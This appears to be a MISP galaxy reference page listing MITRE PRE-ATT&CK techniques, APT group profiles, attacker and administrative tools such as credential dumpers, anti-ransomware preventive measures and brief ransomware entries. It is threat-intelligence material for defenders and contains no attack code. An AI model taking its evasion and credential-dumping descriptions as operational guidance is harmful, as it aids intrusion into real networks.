Detectable by Common Defenses explanation: Defender can monitor for domains similar to popular sites (possibly leverage [https://www.alexa.com Alexa] top ''N'' lists as starting point).
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: SSL certificates are readily available at little to no cost.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1114 |
Test malware to evade detection - PRE-T1136
An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary controls the testing and can ensure data does not leak with proper OPSEC on testing.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Adversary has the ability to procure products and not have reporting return to vendors or can choose to use freely available services
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1136 |
Build or acquire exploits - PRE-T1126
An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1126 |
Unauthorized user introduces compromise delivery mechanism - PRE-T1164
This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.
If an adversary can gain physical access to the target’s environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card Skimmers)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: This varies depending on the amount of monitoring within the environment. Highly secure environments might have more innate monitoring and catch an adversary doing this more easily.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: This likely requires the adversary to have close or insider access to introduce the mechanism of compromise.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1164 |
Common, high volume protocols and software - PRE-T1098
Certain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary’s traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)
Detectable by Common Defenses: No
Detectable by Common Defenses explanation: High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.
Difficulty for the Adversary: Yes
Difficulty for the Adversary explanation: Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1098 |
Data Hiding - PRE-T1097
Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)
Detectable by Common Defenses: Yes
Detectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.
Difficulty for the Adversary: No
Difficulty for the Adversary explanation: This technique requires a more advanced protocol understanding and testing to insert covert communication into legitimate protocol fields.
Links |
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1097 |
Pre Attack - intrusion Set
Name of ATT&CK Group.
Pre Attack - intrusion Set is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
APT16 - G0023
APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)
APT16 - G0023 is also known as:
-
APT16
Links |
https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html |
APT28 - G0007
APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)
APT28 - G0007 is also known as:
-
APT28
-
Sednit
-
Sofacy
-
Pawn Storm
-
Fancy Bear
-
STRONTIUM
-
Tsar Team
-
Threat Group-4127
-
TG-4127
Cleaver - G0003
Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)
Cleaver - G0003 is also known as:
-
Cleaver
-
TG-2889
-
Threat Group 2889
Links |
APT12 - G0005
APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)
APT12 - G0005 is also known as:
-
APT12
-
IXESHE
-
DynCalc
-
Numbered Panda
-
DNSCALC
Links |
APT1 - G0006
APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)
APT1 - G0006 is also known as:
-
APT1
-
Comment Crew
-
Comment Group
-
Comment Panda
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Night Dragon - G0014
Night Dragon is a campaign name for activity involving threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon) The activity from this group is also known as Musical Chairs. (Citation: Arbor Musical Chairs Feb 2018)
Night Dragon - G0014 is also known as:
-
Night Dragon
-
Musical Chairs
Links |
https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/ |
APT17 - G0025
APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)
APT17 - G0025 is also known as:
-
APT17
-
Deputy Dog
Links |
https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf |
Pre Attack - Relationship
MITRE Relationship.
Pre Attack - Relationship is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
Friend/Follow/Connect to targets of interest (PRE-T1141) related-to Friend/Follow/Connect to targets of interest (PRE-T1121)
Analyze organizational skillsets and deficiencies (PRE-T1077) related-to Analyze organizational skillsets and deficiencies (PRE-T1066)
Identify job postings and needs/gaps (PRE-T1025) related-to Identify job postings and needs/gaps (PRE-T1055)
Identify job postings and needs/gaps (PRE-T1055) related-to Identify job postings and needs/gaps (PRE-T1025)
Acquire OSINT data sets and information (PRE-T1024) related-to Acquire OSINT data sets and information (PRE-T1054)
Compromise 3rd party infrastructure to support delivery (PRE-T1111) related-to Compromise 3rd party infrastructure to support delivery (PRE-T1089)
Analyze organizational skillsets and deficiencies (PRE-T1077) related-to Analyze organizational skillsets and deficiencies (PRE-T1074)
Acquire OSINT data sets and information (PRE-T1043) related-to Acquire OSINT data sets and information (PRE-T1054)
Acquire OSINT data sets and information (PRE-T1024) related-to Acquire OSINT data sets and information (PRE-T1043)
Acquire OSINT data sets and information (PRE-T1054) related-to Acquire OSINT data sets and information (PRE-T1043)
Acquire and/or use 3rd party infrastructure services (PRE-T1084) related-to Acquire and/or use 3rd party infrastructure services (PRE-T1106)
Determine 3rd party infrastructure services (PRE-T1061) related-to Determine 3rd party infrastructure services (PRE-T1037)
Analyze organizational skillsets and deficiencies (PRE-T1074) related-to Analyze organizational skillsets and deficiencies (PRE-T1077)
Compromise 3rd party infrastructure to support delivery (PRE-T1089) related-to Compromise 3rd party infrastructure to support delivery (PRE-T1111)
Identify job postings and needs/gaps (PRE-T1025) related-to Identify job postings and needs/gaps (PRE-T1044)
Acquire or compromise 3rd party signing certificates (PRE-T1109) related-to Acquire or compromise 3rd party signing certificates (PRE-T1087)
Identify job postings and needs/gaps (PRE-T1055) related-to Identify job postings and needs/gaps (PRE-T1044)
Identify job postings and needs/gaps (PRE-T1044) related-to Identify job postings and needs/gaps (PRE-T1055)
Analyze organizational skillsets and deficiencies (PRE-T1074) related-to Analyze organizational skillsets and deficiencies (PRE-T1066)
Acquire and/or use 3rd party infrastructure services (PRE-T1106) related-to Acquire and/or use 3rd party infrastructure services (PRE-T1084)
Analyze organizational skillsets and deficiencies (PRE-T1066) related-to Analyze organizational skillsets and deficiencies (PRE-T1077)
Identify job postings and needs/gaps (PRE-T1044) related-to Identify job postings and needs/gaps (PRE-T1025)
Acquire OSINT data sets and information (PRE-T1054) related-to Acquire OSINT data sets and information (PRE-T1024)
Acquire or compromise 3rd party signing certificates (PRE-T1087) related-to Acquire or compromise 3rd party signing certificates (PRE-T1109)
Determine 3rd party infrastructure services (PRE-T1037) related-to Determine 3rd party infrastructure services (PRE-T1061)
Acquire OSINT data sets and information (PRE-T1043) related-to Acquire OSINT data sets and information (PRE-T1024)
Friend/Follow/Connect to targets of interest (PRE-T1121) related-to Friend/Follow/Connect to targets of interest (PRE-T1141)
Analyze organizational skillsets and deficiencies (PRE-T1066) related-to Analyze organizational skillsets and deficiencies (PRE-T1074)
Acquire and/or use 3rd party software services (PRE-T1107) related-to Acquire and/or use 3rd party software services (PRE-T1085)
Tool
Name of ATT&CK software.
Tool is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
MITRE
at
at is used to schedule tasks on a system to run at a specified date or time.[[Citation: TechNet At]]
Aliases: at, at.exe
at is also known as:
-
at
-
at.exe
Links |
route
route can be used to find or change information within the local system IP routing table.[[Citation: TechNet Route]]
Aliases: route, route.exe
route is also known as:
-
route
-
route.exe
Links |
Tasklist
The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface.[[Citation: Microsoft Tasklist]]
Links |
Windows Credential Editor
Windows Credential Editor is a password dumping tool.[[Citation: Amplia WCE]]
Aliases: Windows Credential Editor, WCE
Windows Credential Editor is also known as:
-
Windows Credential Editor
-
WCE
Links |
schtasks
schtasks is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time.[[Citation: TechNet Schtasks]]
Aliases: schtasks, schtasks.exe
schtasks is also known as:
-
schtasks
-
schtasks.exe
Links |
UACMe
UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.[[Citation: Github UACMe]]
Links |
ifconfig
ifconfig is a Unix-based utility used to gather information about and interact with the TCP/IP settings on a system.[[Citation: Wikipedia Ifconfig]]
Links |
Mimikatz
Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks.[[Citation: Deply Mimikatz]][[Citation: Adsecurity Mimikatz Guide]]
Links |
xCmd
xCmd is an open source tool that is similar to PsExec and allows the user to execute applications on remote systems.[[Citation: xCmd]]
Links |
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/ |
Systeminfo
Systeminfo is a Windows utility that can be used to gather detailed information about a computer.[[Citation: TechNet Systeminfo]]
Aliases: systeminfo.exe, Systeminfo
Systeminfo is also known as:
-
systeminfo.exe
-
Systeminfo
Links |
netsh
netsh is a scripting utility used to interact with networking components on local or remote systems.[[Citation: TechNet Netsh]]
Aliases: netsh, netsh.exe
netsh is also known as:
-
netsh
-
netsh.exe
Links |
dsquery
dsquery is a command-line utility that can be used to query Active Directory for information from a system within a domain.[[Citation: TechNet Dsquery]] It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.
Aliases: dsquery, dsquery.exe
dsquery is also known as:
-
dsquery
-
dsquery.exe
Links |
gsecdump
gsecdump is a publicly-available credential dumper used to obtain password hashes and LSA secrets from Windows operating systems.[[Citation: TrueSec Gsecdump]]
Links |
Ping
Ping is an operating system utility commonly used to troubleshoot and verify network connections.[[Citation: TechNet Ping]]
Aliases: ping.exe, Ping
Ping is also known as:
-
ping.exe
-
Ping
Links |
Fgdump
Fgdump is a Windows password hash dumper.[[Citation: Mandiant APT1]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Lslsass
Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process.[[Citation: Mandiant APT1]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Pass-The-Hash Toolkit
Pass-The-Hash Toolkit is a toolkit that allows an adversary to "pass" a password hash (without knowing the original password) to log in to systems.[[Citation: Mandiant APT1]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
FTP
FTP is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.[[Citation: Wikipedia FTP]]
Aliases: FTP, ftp.exe
FTP is also known as:
-
FTP
-
ftp.exe
Links |
ipconfig
ipconfig is a Windows utility that can be used to find information about a system’s TCP/IP, DNS, DHCP, and adapter configuration.[[Citation: TechNet Ipconfig]]
Aliases: ipconfig, ipconfig.exe
ipconfig is also known as:
-
ipconfig
-
ipconfig.exe
Links |
certutil
Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services.[[Citation: TechNet Certutil]]
Aliases: certutil, certutil.exe
certutil is also known as:
-
certutil
-
certutil.exe
Links |
nbtstat
nbtstat is a utility used to troubleshoot NetBIOS name resolution.[[Citation: TechNet Nbtstat]]
Aliases: nbtstat, nbtstat.exe
nbtstat is also known as:
-
nbtstat
-
nbtstat.exe
Links |
HTRAN
HTRAN is a tool that proxies connections through intermediate hops and aids users in disguising their true geographical location. It can be used by adversaries to hide their location when interacting with the victim networks. [[Citation: Operation Quantum Entanglement]]
Aliases: HTRAN, HUC Packet Transmit Tool
HTRAN is also known as:
-
HTRAN
-
HUC Packet Transmit Tool
Links |
netstat
netstat is an operating system utility that displays active TCP connections, listening ports, and network statistics.[[Citation: TechNet Netstat]]
Aliases: netstat, netstat.exe
netstat is also known as:
-
netstat
-
netstat.exe
Links |
pwdump
pwdump is a credential dumper.[[Citation: Wikipedia pwdump]]
Links |
Cachedump
Cachedump is a publicly-available tool that program extracts cached password hashes from a system’s registry.[[Citation: Mandiant APT1]]
Links |
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf |
Net
The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections.Net has a great deal of functionality,[[Citation: Savill 1999]] much of which is useful for an adversary, such as gathering system and network information for , moving laterally through [[Windows admin shares]] using <code>net use</code> commands, and interacting with services.
Aliases: Net, net.exe
Net is also known as:
-
Net
-
net.exe
Links |
PsExec
PsExec is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.[[Citation: Russinovich Sysinternals]][[Citation: SANS PsExec]]
Links |
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx |
Arp
Arp displays information about a system’s Address Resolution Protocol (ARP) cache.[[Citation: TechNet Arp]]
Aliases: Arp, arp.exe
Arp is also known as:
-
Arp
-
arp.exe
Links |
cmd
cmd is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities.[[Citation: TechNet Cmd]]
Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code>[[Citation: TechNet Dir]]), deleting files (e.g., <code>del</code>[[Citation: TechNet Del]]), and copying files (e.g., <code>copy</code>[[Citation: TechNet Copy]]).
Aliases: cmd, cmd.exe
cmd is also known as:
-
cmd
-
cmd.exe
Links |
Cobalt Strike
Cobalt Strike is a commercial, full-featured, penetration testing tool which bills itself as “adversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors”. Cobalt Strike’s interactive post-exploit capabilities cover the full range of ATT&CK tactics, all executed within a single, integrated system.Cobalt Strike leverages the capabilities of other well-known tools such as Metasploit and Mimikatz.[[Citation: cobaltstrike manual]]
The list of techniques below focuses on Cobalt Strike’s ATT&CK-relevant tactics.
Links |
Reg
Reg is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information.Reg are known to be used by persistent threats.[[Citation: Windows Commands JPCERT]]
Aliases: Reg, reg.exe
Reg is also known as:
-
Reg
-
reg.exe
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Preventive Measure
Preventive measures based on the ransomware document overview as published in https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml# . The preventive measures are quite generic and can fit any standard Windows infrastructure and their security measures..
Preventive Measure is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Various
Backup and Restore Process
Make sure to have adequate backup processes on place and frequently test a restore of these backups. (Schrödinger’s backup - it is both existent and non-existent until you’ve tried a restore
Links |
http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.[http://windows.microsoft.com/en-us/windows/back-up-restore-faq#1TC=windows-7.] |
Block Macros
Disable macros in Office files downloaded from the Internet. This can be configured to work in two different modes: A.) Open downloaded documents in 'Protected View' B.) Open downloaded documents and block all macros
Links |
Filter Attachments Level 1
Filter the following attachments on your mail gateway: .ade, .adp, .ani, .bas, .bat, .chm, .cmd, .com, .cpl, .crt, .exe, .hlp, .ht, .hta, .inf, .ins, .isp, .jar, .job, .js, .jse, .lnk, .mda, .mdb, .mde, .mdz, .msc, .msi, .msp, .mst, .ocx, .pcd, .ps1, .reg, .scr, .sct, .shs, .svg, .url, .vb, .vbe, .vbs, .wbk, .wsc, .ws, .wsf, .wsh, .exe, .pif, .pub
Filter Attachments Level 2
Filter the following attachments on your mail gateway: (Filter expression of Level 1 plus) .doc, .xls, .rtf, .docm, .xlsm, .pptm
Restrict program execution
Block all program executions from the %LocalAppData% and %AppData% folder
Links |
Show File Extensions
Set the registry key "HideFileExt" to 0 in order to show all file extensions, even of known file types. This helps avoiding cloaking tricks that use double extensions. (e.g. "not_a_virus.pdf.exe")
Links |
http://www.sevenforums.com/tutorials/10570-file-extensions-hide-show.htm |
Enforce UAC Prompt
Enforce administrative users to confirm an action that requires elevated rights
Links |
https://technet.microsoft.com/en-us/library/dd835564(WS.10).aspx |
Remove Admin Privileges
Remove and restrict administrative rights whenever possible. Malware can only modify files that users have write access to.
Restrict Workstation Communication
Activate the Windows Firewall to restrict workstation to workstation communication
Sandboxing Email Input
Using sandbox that opens email attachments and removes attachments based on behavior analysis
Execution Prevention
Software that allows to control the execution of processes - sometimes integrated in Antivirus software Free: AntiHook, ProcessGuard, System Safety Monitor
Change Default "Open With" to Notepad
Force extensions primarily used for infections to open up in Notepad rather than Windows Script Host or Internet Explorer
Links |
File Screening
Server-side file screening with the help of File Server Resource Manager
Links |
Restrict program execution #2
Block program executions (AppLocker)
Links |
https://technet.microsoft.com/en-us/library/dd759117%28v=ws.11%29.aspx |
EMET
Detect and block exploitation techniques
Links |
www.microsoft.com/emet[www.microsoft.com/emet] |
Sysmon
Detect Ransomware in an early stage with new Sysmon 5 File/Registry monitoring
Links |
Blacklist-phone-numbers
Filter the numbers at phone routing level including PABX
Links |
Ransomware
Ransomware galaxy based on https://docs.google.com/spreadsheets/d/1TWS238xacAto-fLKh1n5uTsdijWdCEsGIM0Y0Hvmc5g/pubhtml and http://pastebin.com/raw/GHgpWjar.
Ransomware is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
Nhtnwcuf Ransomware (Fake)
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/nhtnwcuf-ransomware.html |
CryptoJacky Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/cryptojacky-ransomware.html |
Kaenlupuf Ransomware
About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/kaenlupuf-ransomware.html |
EnjeyCrypter Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/enjey-crypter-ransomware.html |
Dangerous Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/dangerous-ransomware.html |
Vortex Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Vortex Ransomware is also known as:
-
Ŧl๏tєгค гคภร๏๓ฬคгє
Links |
https://id-ransomware.blogspot.co.il/2017/03/vortex-ransomware.html |
GC47 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/gc47-ransomware.html |
RozaLocker Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/rozalocker-ransomware.html |
CryptoMeister Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/cryptomeister-ransomware.html |
GG Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Poses as Hewlett-Packard 2016
Links |
https://id-ransomware.blogspot.co.il/2017/03/gg-ransomware.html |
Project34 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/project34-ransomware.html |
PetrWrap Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/petrwrap-ransomware.html |
Karmen Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. RaaS, baed on HiddenTear
Links |
https://id-ransomware.blogspot.co.il/2017/03/karmen-ransomware.html |
https://twitter.com/malwrhunterteam/status/841747002438361089 |
Revenge Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. CryptoMix / CryptFile2 Variant
Links |
https://id-ransomware.blogspot.co.il/2017/03/revenge-ransomware.html |
Turkish FileEncryptor Ransomware
his is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Turkish FileEncryptor Ransomware is also known as:
-
Fake CTB-Locker
Links |
https://id-ransomware.blogspot.co.il/2017/03/turkish-fileencryptor.html |
Kirk Ransomware & Spock Decryptor
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Payments in Monero
Links |
https://id-ransomware.blogspot.co.il/2017/03/kirkspock-ransomware.html |
http://www.securityweek.com/star-trek-themed-kirk-ransomware-emerges |
ZinoCrypt Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html |
https://twitter.com/malwrhunterteam/status/842781575410597894 |
Crptxxx Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3’s UAC bypass
MOTD Ransomware
About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html |
https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/ |
CryptoDevil Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html |
FabSysCrypto Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear
Links |
https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html |
Lock2017 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html |
RedAnts Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html |
ConsoleApplication1 Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html |
KRider Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html |
https://twitter.com/malwrhunterteam/status/836995570384453632 |
CYR-Locker Ransomware (FAKE)
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg
Links |
DotRansomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html |
Unlock26 Ransomware
About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html |
PicklesRansomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html |
Vanguard Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware
Links |
https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html |
PyL33T Ransomware
This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..
Links |
